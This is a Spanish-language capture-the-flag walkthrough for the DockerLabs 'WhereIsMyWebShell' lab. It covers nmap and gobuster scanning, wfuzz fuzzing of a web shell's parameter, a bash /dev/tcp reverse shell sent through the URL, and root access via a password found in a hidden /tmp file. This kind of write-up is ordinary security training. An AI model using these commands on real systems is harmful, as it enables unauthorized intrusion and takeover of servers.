> For the complete documentation index, see [llms.txt](https://red-shenlong.gitbook.io/red-shenlong/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red-shenlong.gitbook.io/red-shenlong/dockerlabs/facil/whereismywebshell.md).

# WhereIsMyWebShell

## Alternativas

**Formato Video:** *Proximamente...*

**Formato pdf:**

{% @github-files/github-code-block url="<https://github.com/RedShenlong/DockerLabs/blob/b7ce012c9670264d261cbc6df2d02ae6eb319cc1/Facil/WhereIsMyWebShell.pdf>" %}

## WriteUp

Una vez desplegada la maquina haremos un escaneo de puertos abiertos con nmap.

En mi casa utilizo el siguiente comando:

```
nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2
```

* **`-p-`**: Escanea todos los puertos .
* **`-sS`**: Realiza un escaneo sigiloso (SYN Scan) para detectar puertos abiertos.
* **`-sC`**: Ejecuta scripts predeterminados para recopilar más información del sistema.
* **`-sV`**: Detecta las versiones de los servicios en ejecución.
* **`--min-rate 5000`**: Acelera el escaneo enviando al menos 5000 paquetes por segundo.
* **`-n`**: No realiza resolución DNS, trabaja directamente con direcciones IP.
* **`-vvv`**: Muestra información detallada y actualizaciones constantes durante el escaneo.
* **`-Pn`**: Salta el "ping" previo y fuerza el escaneo, incluso si el objetivo no responde.

una vez realizado el escaneo vemos que tenemos un puerto abierto

<figure><img src="/files/SV0ut9Jz7jH3fZPU5OCJ" alt=""><figcaption></figcaption></figure>

El puerto 80 está corriendo el servicio HTTP. Esto significa que si ponemos la IP en el navegador, nos llevará a una página web.

<figure><img src="/files/VAuEMBweuu95LEDyU93g" alt=""><figcaption></figcaption></figure>

Leyendo el sitio wed nos topamos con este mensaje

<figure><img src="/files/mYFo5clCt0Y7FjKDcJfP" alt=""><figcaption></figcaption></figure>

Ponemos ese directorio en la página wed pero no sirve, esa pista seguramente nos servirá más adelante.

<figure><img src="/files/PaGhVqlPOjOVyKvEXxij" alt=""><figcaption></figcaption></figure>

como no tenemos más información buscaremos directorios oculto con gobuster con el siguiente comando:

```
sudo gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://172.17.0.2/" -x .php,.sh,.py,.txt,.html
```

<figure><img src="/files/v2pC9Ml21wQkwXHmPAPF" alt=""><figcaption></figcaption></figure>

El directorio `wearning.html` parece llamativo, lo copiamos en nuestro navegador junto con la ip

<figure><img src="/files/E8WtDS3IIyrIBbbYimvw" alt=""><figcaption></figcaption></figure>

Aquí nos dan una gran pista, debido a que con una wedshell podemos hacer una ejecución remota de comando lo único es que no sabemos el parámetro pero con un fuzzing eso está resuelto.

```
wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u 'http://172.17.0.2/shell.php?FUZZ=whoami'
```

<figure><img src="/files/cSopvFNEL4iKiLRKzmeU" alt=""><figcaption></figcaption></figure>

Al hacerlo nos aparece una lista interminable pero ninguno de esos parametros nos vale, asi que filtramos con --hh o ya que el 0 es el valor que se repite, quedando el comando tal que así.

```
wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u 'http://172.17.0.2/shell.php?FUZZ=whoami' --hh 0
```

Esto tardará un poco así que hay que tener un poco de paciencia.

<figure><img src="/files/gmS5vo2pszP47os8ETPh" alt=""><figcaption></figcaption></figure>

Nos encuentra el parametro "parameter" para verificar que es correcto vamos a nuestro navegador y copiamos:

```
http://172.17.0.2/shell.php?parameter=whoami
```

<figure><img src="/files/efTamLXDvggP7umCZ3Me" alt=""><figcaption></figcaption></figure>

Y tenemos ejecución remota de comandos así que haremos una reverse shell para estar dentro de la máquina, para ello lo primero que hay que hacer es ponernos en escucha por un puerto libre, en mi caso siempre utilizo el 443:

```
nc -nlvp 443 
```

<figure><img src="/files/lkvsvkkdem4Z7OC7Uavd" alt=""><figcaption></figcaption></figure>

Y a la página wed le enviaremos el siguiente comando:

```
bash -c "bash -i >%26 /dev/tcp/172.20.10.4/443 0>%261"
```

Tenéis que modificarlo, poniendo vuestra ip y el puerto por el que estáis en escucha.

Una vez modificado, en nuestro navegador reemplazamos el comando whoami visto anteriormente por el actual quedando tal que así:

```
http://172.17.0.2/shell.php?parameter=bash -c "bash -i >%26 /dev/tcp/172.20.10.4/443 0>%261"
```

Cuando copiemos ese comando en nuestro navegador y le demos a buscar, nos dirigimos nuevamente a nuestra terminal y ya tendríamos que tener acceso a la máquina

<figure><img src="/files/9NPdlJulOtEqdAEX7dRz" alt=""><figcaption></figcaption></figure>

Una vez dentro, tomaremos la pista vista al principio dirigiendonos al directorio `/tmp`,una vez en el, al hacer un ls parece que no hay ningún archivo así que seguramente el archivo esté oculto, con un `ls -la` veremos todos los archivos

<figure><img src="/files/ukkZNmvqgJkvTFmWvsj1" alt=""><figcaption></figcaption></figure>

para ver el contenido del archivo .secret.xt hacemos un cat

<figure><img src="/files/nkGGpXyM76lUMJRtxE8G" alt=""><figcaption></figcaption></figure>

Por lo que vemos, esa es la contraseña del usuario root, así que solo quedaría cambiarnos al usuario root con `su root` e ingresar la contraseña.

<figure><img src="/files/WFhDpZCThWTxdCvW6DAm" alt=""><figcaption></figcaption></figure>

Y somos root.&#x20;

## OPCIONAL

En estos casos, para dejarlo mejor estéticamente ejecuto este comando:

```
script /dev/null -c bash 
```

Así la consola me aparece de esta manera

<figure><img src="/files/H6QMxTG2eO8Ad129l46g" alt=""><figcaption></figcaption></figure>
